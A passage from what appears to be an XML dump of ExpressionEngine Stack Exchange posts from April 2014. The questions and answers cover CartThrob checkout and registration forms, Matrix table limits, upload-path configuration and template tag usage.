fields which I can map in the CT Member settings somehow.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm a bit surprised this isn't documented somewhere though, admittedly I'm a little tired and my google-foo is coming up short as is my brain for that matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any thoughts!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2014-04-22T09:45:13.503" Title="Cartthrob checkout form with different billing and member information" Tags="|cartthrob|forms|profile-edit|checkout|custom-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21340" PostTypeId="2" ParentId="1920" CreationDate="2014-04-22T08:38:53.117" Score="0" Body="&lt;p&gt;The things mentioned in the other answers here may cause this issue. Another cause can be that &quot;Guests&quot; are not allowed to post entries in the channel channel form / safecracker is set up to post to. When loading the page w/o being logged in you will then get &quot;ReferenceError: EE is not defined&quot; .. in the CP, navigating to Member Groups -&gt; Guests and selecting that these are allowed to post to the channel will fix the issue. Be aware of the implications of this change though (guests will be allowed to post entries to that channel).&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-04-22T08:38:53.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21341" PostTypeId="2" ParentId="21328" CreationDate="2014-04-22T09:25:17.013" Score="1" Body="&lt;p&gt;Not automatically. You could just set these as a global variable either as a snippet or using something like &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; and then pull these into the corresponding products pages. This way you only have to update in one place and it updates site wide. It wont be directly linked to the offers from a fully automated point of view but will probably be the easiest way to go about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could always run a custom query in your Product page using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/query/&quot; rel=&quot;nofollow&quot;&gt;Query Module&lt;/a&gt; where you retrieve the products that match that discount and if that matches the Entry ID for the product currently being viewed then pull out the Discount and the Notes fields and display that on the page. That would provide a more automated solution but would require a little bit of SQL if you're comfortable with that. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-22T09:25:17.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21342" PostTypeId="2" ParentId="21303" CreationDate="2014-04-22T09:41:46.817" Score="1" Body="&lt;p&gt;The issue was that &lt;code&gt;{exp:rating:rank}&lt;/code&gt; was inside a &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since both tags share the same Channel Entries library and have many variables and tags in common, you will run into &lt;strong&gt;variable clashes&lt;/strong&gt;. In other words, EE will be confused about which variables to parse for which tag pair, etc. Use &lt;code&gt;{exp:rating:rank}&lt;/code&gt; outside of &lt;code&gt;{exp:channel:entries}&lt;/code&gt;, or use an embed for &lt;code&gt;{exp:rating:rank}&lt;/code&gt;. In other words, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries /* your other parameters */}&#xA;  // Some entry data&#xA;  {embed=&quot;rating/rank&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or even better:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries /* your other parameters */}&#xA;  // Some entry data&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;h3&amp;gt;Top entries&amp;lt;/h3&amp;gt;&#xA;{exp:rating:rank /* your other parameters */}&#xA;  // Some ranked entry data&#xA;{/exp:rating:rank}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-22T09:41:46.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21343" PostTypeId="2" ParentId="21339" CreationDate="2014-04-22T09:45:13.503" Score="2" Body="&lt;p&gt;Here's how we did this type of thing. The site uses the following checkout sequence, but using EE custom member fields and &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;freemember&lt;/a&gt; rather than Profile Edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;View Basket &gt; Add customer details &gt; Checkout confirm &gt; Payment Gateway &gt; Confirmation - with option to register&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've setup the member fields, giving them the same short names as the customer fields we've used in the orders channel. So our &lt;em&gt;customer-details&lt;/em&gt; page looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:save_customer_info_form &#xA;        id=&quot;customer-details-form&quot; &#xA;        name=&quot;customer-details&quot; &#xA;        class=&quot;form-stacked&quot; &#xA;        required=&quot;first_name|last_name|address|city|state|zip|phone&quot;&#xA;        return=&quot;checkout/confirmation&quot; &#xA;        }&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;country_code&quot; value=&quot;GBR&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;currency_code&quot; value=&quot;GBP&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;billing-details-fields&quot;&amp;gt;&#xA;&#xA;            &amp;lt;fieldset class=&quot;customer-details&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;Your details&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p class=&quot;form-left-left&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;first_name&quot;&amp;gt;First name&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; id=&quot;first_name&quot; placeholder=&quot;eg. John&quot; {if logged_in}value=&quot;{first_name}&quot;{/if}&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;p class=&quot;form-left-right&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;last_name&quot;&amp;gt;Last name&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;last_name&quot; id=&quot;last_name&quot; placeholder=&quot;eg. Smith&quot; {if logged_in}value=&quot;{last_name}&quot;{/if}&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;[...]&#xA;{/exp:cartthrob:save_customer_info_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The confirmation page literally outputs the cart table again with final totals for shipping, tax etc. The customer then goes off to pay off-site and returns to a success/fail page with the result of the transaction. Having collected all the customer details, we then ask them if they want to register (assuming they're not registered/logged out) - all they need to do is choose a password. We then use freemember to add their details into the member fields using hidden form fields with the values from the values saved to Cart Throb's cookies in the previous page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;{exp:low_variables:parse var=&quot;lv_create_account&quot;}&#xA;&amp;lt;h2&amp;gt;{register_title}&amp;lt;/h2&amp;gt;&#xA;{content}&#xA;{/exp:low_variables:parse}   &#xA;&#xA;{exp:freemember:register return=&quot;checkout/complete&quot; error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;error&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}     &#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;country_code&quot; value=&quot;GBR&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;currency_code&quot; value=&quot;GBP&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;first_name&quot; id=&quot;first_name&quot; value=&quot;{first_name}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;last_name&quot; id=&quot;last_name&quot; value=&quot;{last_name}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;address&quot; id=&quot;address&quot; value=&quot;{address}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;company&quot; id=&quot;company&quot; value=&quot;{company}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;address2&quot; id=&quot;address2&quot; value=&quot;{address2}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;city&quot; id=&quot;city&quot; value=&quot;{city}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;state&quot; id=&quot;state&quot; value=&quot;{state}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;zip&quot; id=&quot;zip&quot; value=&quot;{zip}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_company&quot; id=&quot;shipping_company&quot; value=&quot;{shipping_company}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;phone&quot; id=&quot;phone&quot; value=&quot;{phone}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;order_customer_mobile&quot; id=&quot;order_customer_mobile&quot; value=&quot;{custom_data:order_customer_mobile}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;{email_address}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;use_billing_info&quot; value=&quot;{use_billing_info}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_first_name&quot; id=&quot;shipping_first_name&quot; value=&quot;{shipping_first_name}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_last_name&quot; id=&quot;shipping_last_name&quot; value=&quot;{shipping_last_name}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_address&quot; id=&quot;shipping_address&quot; value=&quot;{shipping_address}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_address2&quot; id=&quot;shipping_address2&quot; value=&quot;{shipping_address2}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_city&quot; id=&quot;shipping_city&quot; value=&quot;{shipping_city}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_state&quot; id=&quot;shipping_state&quot; value=&quot;{shipping_state}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_zip&quot; id=&quot;shipping_zip&quot; value=&quot;{shipping_zip}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_phone&quot; id=&quot;shipping_phone&quot; value=&quot;{custom_data:shipping_phone}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_customer_mobile&quot; id=&quot;shipping_customer_mobile&quot; value=&quot;{custom_data:shipping_customer_mobile}&quot;&amp;gt;  &#xA;&#xA;    &amp;lt;p&amp;gt;Choose a password to create your account.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {field:password}&amp;lt;br /&amp;gt;&#xA;        {error:password}&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {field:password_confirm}&amp;lt;br /&amp;gt;&#xA;        {error:password_confirm}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;big-btn&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:freemember:register}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I liked this approach because it took away the registration question from the checkout process, and invited it once the transaction was complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-04-22T09:45:13.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21344" PostTypeId="2" ParentId="21320" CreationDate="2014-04-22T10:09:02.583" Score="0" Body="&lt;p&gt;You may try the free add-on &lt;a href=&quot;http://devot-ee.com/add-ons/md-character-count&quot; rel=&quot;nofollow&quot;&gt;MD Character Count&lt;/a&gt; from Ryan Masuga. This will perfectly suite your needs.&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2014-04-22T10:09:02.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21345" PostTypeId="2" ParentId="17886" CreationDate="2014-04-22T10:18:54.657" Score="0" Body="&lt;p&gt;You cannot use underscores in the name of your Assets-folder anymore. Look at &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15323/problem-after-upgrading-assets-underscores-in-folder-names&quot;&gt;this question&lt;/a&gt; and the comments.&lt;/p&gt;&#xA;" OwnerUserId="780" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-04-22T10:18:54.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21346" PostTypeId="2" ParentId="21338" CreationDate="2014-04-22T11:46:57.670" Score="1" Body="&lt;p&gt;Have a look at either &lt;a href=&quot;http://devot-ee.com/add-ons/mx-zip&quot; rel=&quot;nofollow&quot;&gt;MX Zip&lt;/a&gt;, or to get more advanced, &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault-zipper&quot; rel=&quot;nofollow&quot;&gt;Link Vault Zipper&lt;/a&gt;. These add-ons create ZIP files on the fly for you from a list of file URLs you feed to them.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-22T11:46:57.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21347" PostTypeId="1" CreationDate="2014-04-22T15:54:18.860" Score="2" ViewCount="90" Body="&lt;p&gt;Is it possible to create a perfect table so i can add as many cells and rows as i want?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be much appreciated, expression engine version 2.7.3 and latest matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wes.&lt;/p&gt;&#xA;" OwnerUserId="3003" LastActivityDate="2014-04-22T21:06:42.757" Title="Create a perfect table using Matrix?" Tags="|matrix|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21348" PostTypeId="2" ParentId="21347" CreationDate="2014-04-22T16:06:20.723" Score="2" Body="&lt;p&gt;No - you can create as many rows as you want, but not as many columns as you want. Columns must be defined beforehand.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-22T16:06:20.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21349" PostTypeId="2" ParentId="20664" CreationDate="2014-04-22T16:45:59.597" Score="1" Body="&lt;p&gt;There doesn't appear to be a way to do this in the field type settings. There is a hook setup for modifying the entries retrieved &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/relationships/index.html#relationships-display-field&quot; rel=&quot;nofollow&quot;&gt;relationships_display_field&lt;/a&gt; however the best that I can tell it is only called on edit. You could modify the ft.relationship.php file yourself and modify the results shown based on user permissions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ft.relationship.php at line 400 (approximately) add:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$can_view = ee()-&amp;gt;session-&amp;gt;userdata('can_view_other_entries');&#xA;$can_edit = ee()-&amp;gt;session-&amp;gt;userdata('can_edit_other_entries');&#xA;if ($can_view == 'n' || $can_edit == 'n') {&#xA;  ee()-&amp;gt;db-&amp;gt;where('author_id',ee()-&amp;gt;session-&amp;gt;userdata('member_id'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2644" LastActivityDate="2014-04-22T16:45:59.597" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21350" PostTypeId="1" AcceptedAnswerId="21351" CreationDate="2014-04-22T18:42:48.850" Score="1" ViewCount="165" Body="&lt;p&gt;I'm having an issue with my upload directories. I converted an existing site to use the FocusLab config set up and everything is working fine. However I've just noticed that in the CP thumbnails are missing from all entries and on the front end new images are not being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ftp'd into the server and in my directories I can see the images but they've all been renamed so that they are directorynamefilenam.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. house.jpg inside directory general is now named generalhouse.jpg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why this is happening or how to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant code from config.master.php is below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Custom upload directory paths&#xA; * &#xA; * The array keys must match the ID from exp_upload_prefs&#xA; */&#xA; $env_config['upload_preferences'] = array(&#xA;     1 =&amp;gt; array(&#xA;         'name'        =&amp;gt; 'Home Page Slideshow',&#xA;         'server_path' =&amp;gt; $images_path . '/home_slideshow',&#xA;         'url'         =&amp;gt; $images_url  . '/home_slideshow/'&#xA;     ),&#xA;     2 =&amp;gt; array(&#xA;         'name'        =&amp;gt; 'Portfolio Logos',&#xA;         'server_path' =&amp;gt; $images_path . '/portfolio',&#xA;         'url'         =&amp;gt; $images_url  . '/portfolio/'&#xA;     ),&#xA;     3 =&amp;gt; array(&#xA;         'name'        =&amp;gt; 'Team Photos',&#xA;         'server_path' =&amp;gt; $images_path . '/team',&#xA;         'url'         =&amp;gt; $images_url  . '/team/'&#xA;     ),&#xA;     4 =&amp;gt; array(&#xA;         'name'        =&amp;gt; 'News Images',&#xA;         'server_path' =&amp;gt; $images_path . '/news',&#xA;         'url'         =&amp;gt; $images_url  . '/news/'&#xA;     ),&#xA;     4 =&amp;gt; array(&#xA;         'name'        =&amp;gt; 'General',&#xA;         'server_path' =&amp;gt; $images_path . '/general',&#xA;         'url'         =&amp;gt; $images_url  . '/general/'&#xA;     )&#xA; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I synchronize a directory I get the following errors:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;generalColor_Block_Icon_with_i.jpg: invalid_filename&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;generalPetArmor-Dog.png: invalid_filename&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is error is on all images on all directories.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2014-04-22T18:50:13.393" LastActivityDate="2014-04-22T18:54:02.783" Title="Focuslab Multi Environment Config upload preferences issue" Tags="|file-uploads|focus-lab-master-config|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21351" PostTypeId="2" ParentId="21350" CreationDate="2014-04-22T18:52:01.670" Score="5" Body="&lt;p&gt;Add the trailing slash for the 'server_path' also.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Custom upload directory paths&#xA; * &#xA; * The array keys must match the ID from exp_upload_prefs&#xA; */&#xA; $env_config['upload_preferences'] = array(&#xA;     1 =&amp;gt; array(&#xA;         'name'        =&amp;gt; 'Home Page Slideshow',&#xA;         'server_path' =&amp;gt; $images_path . '/home_slideshow/',&#xA;         'url'         =&amp;gt; $images_url  . '/home_slideshow/'&#xA;     ),&#xA;     2 =&amp;gt; array(&#xA;         'name'        =&amp;gt; 'Portfolio Logos',&#xA;         'server_path' =&amp;gt; $images_path . '/portfolio/',&#xA;         'url'         =&amp;gt; $images_url  . '/portfolio/'&#xA;     ),&#xA;     3 =&amp;gt; array(&#xA;         'name'        =&amp;gt; 'Team Photos',&#xA;         'server_path' =&amp;gt; $images_path . '/team/',&#xA;         'url'         =&amp;gt; $images_url  . '/team/'&#xA;     ),&#xA;     4 =&amp;gt; array(&#xA;         'name'        =&amp;gt; 'News Images',&#xA;         'server_path' =&amp;gt; $images_path . '/news/',&#xA;         'url'         =&amp;gt; $images_url  . '/news/'&#xA;     ),&#xA;     4 =&amp;gt; array(&#xA;         'name'        =&amp;gt; 'General',&#xA;         'server_path' =&amp;gt; $images_path . '/general/',&#xA;         'url'         =&amp;gt; $images_url  . '/general/'&#xA;     )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-22T18:52:01.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21352" PostTypeId="2" ParentId="21350" CreationDate="2014-04-22T18:54:02.783" Score="0" Body="&lt;p&gt;I just had this same problem. I was able to fix it by updating the EE install from 2.3.1 (I think) to 2.8.1. &lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2014-04-22T18:54:02.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21353" PostTypeId="2" ParentId="18237" CreationDate="2014-04-22T20:15:40.140" Score="1" Body="&lt;p&gt;Just for anyone that runs into this. The actual submit button must have name=&quot;submit&quot; in it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;#60;input type=&quot;submit&quot; class=&quot;button checkout_button&quot; id=&quot;checkout_submit&quot; value=&quot;Checkout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;#60;input type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;button checkout_button&quot; id=&quot;checkout_submit&quot; value=&quot;Checkout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one will just loop the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-04-22T20:15:40.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21354" PostTypeId="2" ParentId="21322" CreationDate="2014-04-22T21:00:49.533" Score="2" Body="&lt;p&gt;Currently there are only 2 subscription modules that I know that you could transition to now that it looks like Membrr/OpenGateway are no longer going to be supported. Both options require a fair bit of work from you to handle the migration of content and subscriptions over but are probably better options then keeping a dead piece of software running your e-commerce site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first option would be to use &lt;a href=&quot;http://devot-ee.com/add-ons/charge&quot; rel=&quot;nofollow&quot;&gt;Charge&lt;/a&gt; by Joel Bradbury which is a great little piece of software. Charge relies on Stripe to be used as your payment gateway which can be a problem for some people but if you are able to use &lt;a href=&quot;https://stripe.com&quot; rel=&quot;nofollow&quot;&gt;Stripe&lt;/a&gt; then Charge would be my recommendation. (I am currently in the process of moving a Membrr site over to charge myself.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option would be to use &lt;a href=&quot;http://cartthrob.com/&quot; rel=&quot;nofollow&quot;&gt;CartThrob&lt;/a&gt; and &lt;a href=&quot;http://cartthrob.com/docs/docs_subscriptions/&quot; rel=&quot;nofollow&quot;&gt;CartThrob Subscriptions&lt;/a&gt;. CartThrob has a ton of additional gateways that you can use if you are not able to use Stripe and is a very full featured e-commerce solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both options have their advantages and disadvantages so it is best to take a look at each and decide which is best for you project.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-04-22T21:00:49.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21355" PostTypeId="2" ParentId="21347" CreationDate="2014-04-22T21:06:42.757" Score="1" Body="&lt;p&gt;As Derek has mention with Matrix you can not create as many columns as you want on the fly when you are publishing/editing an entry with Matrix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might take a look at something like &lt;a href=&quot;http://devot-ee.com/add-ons/content-elements&quot; rel=&quot;nofollow&quot;&gt;Content Elements&lt;/a&gt; which allows the user to create predefined elements on the fly including creating tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also most of the WYSIWYG editors available today have the ability for you to build tables on the fly by hitting a table button and defining the fields their.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-04-22T21:06:42.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21356" PostTypeId="1" AcceptedAnswerId="21788" CreationDate="2014-04-22T21:12:48.740" Score="1" ViewCount="91" Body="&lt;p&gt;I was wondering why my CT invoices are always empty. When digging deeper I noticed that a simple &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  channel=&quot;orders&quot; status=&quot;not none&quot; }&#xA;    {if no_results}This invoice could not be found{/if}&#xA;    Entry ID: {entry_id}&amp;lt;br /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;doesn't even return the no_results branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some more testing it was clear that all CT generated channel entries, i.e. orders and purchased_items, don't have the default language assigned to the channel entry. After manually changing the language the channel entries can be found and invoices get generated as they should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question is... is this a CT or a Transcribe bug? Or is there even a configuration setting which I may have missed.&lt;/p&gt;&#xA;" OwnerUserId="3004" LastActivityDate="2014-05-08T14:50:41.923" Title="Cartthrob and Transcribe: orders don't get the default language assigned" Tags="|channel-entries|cartthrob|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21357" PostTypeId="1" AcceptedAnswerId="21358" CreationDate="2014-04-22T23:10:09.980" Score="1" ViewCount="58" Body="&lt;p&gt;How would you display only the country name from an entry that has been geocoded with the fieldtype from the excellent &lt;a href=&quot;https://www.objectivehtml.com/index.php/google-maps&quot; rel=&quot;nofollow&quot;&gt;Google Maps for ExpressionEngine&lt;/a&gt; (GMEE)?&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2014-04-22T23:10:09.980" Title="Improve on these methods for displaying only the country name using Google Maps for EE" Tags="|google-maps-for-ee|google-maps|low-replace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21358" PostTypeId="2" ParentId="21357" CreationDate="2014-04-22T23:10:09.980" Score="1" Body="&lt;p&gt;I have discovered two ways of doing this which I thought might be helpful to someone, and am &lt;strong&gt;looking for improvements or better ideas&lt;/strong&gt; if people have them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/support/google-maps/viewthread/6157#20303&quot; rel=&quot;nofollow&quot;&gt;Use a javascript plugin, as suggested by Justin Kimbrell&lt;/a&gt;, author of Google Maps for ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the extremely versatile &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;'Low Replace' ExpressionEngine plugin&lt;/a&gt; by Lodewijk Schutte:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries etc}&#xA;  {geolocation parse=&quot;markers&quot;}&#xA;    {markers}&#xA;      {exp:low_replace find=&quot;(.*,\s)(.*)&quot; replace=&quot;$2&quot; regex=&quot;yes&quot;}&#xA;        {marker:formatted_address}&#xA;      {/exp:low_replace}&#xA;    {/markers}&#xA;  {/geolocation}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Non-essential code has been removed for brevity.&lt;/li&gt;&#xA;&lt;li&gt;'geolocation' is the name of a GMEE fieldtype custom field &lt;/li&gt;&#xA;&lt;li&gt;The regex accounts for multiple place names in the format provided by&#xA;Google Maps (e.g. &quot;city, state, country&quot; will be replaced by&#xA;&quot;country&quot;).&lt;/li&gt;&#xA;&lt;li&gt;Tested on EE v2.5.5 and GMEE v3.1.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="291" LastActivityDate="2014-04-22T23:10:09.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21361" PostTypeId="1" AcceptedAnswerId="21365" CreationDate="2014-04-23T02:05:42.210" Score="0" ViewCount="440" Body="&lt;p&gt;I'm working on an XML template for a site and need to output a series of listings where URLs look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/store/#type#/#brand#/#collection#/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My entries are set up so that there's an entry for each brand with a matrix row for each collection (type is a category of the entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to loop through the entries in the channel and then loop through the matrix rows for each entry and output a &lt;code&gt;&amp;lt;url&amp;gt;&lt;/code&gt; pair for all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the code below I get output if I don't have the &lt;code&gt;exp:stash:get_list:nested&lt;/code&gt; tag (but with incorrect URLs), but with it, I get nothing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;    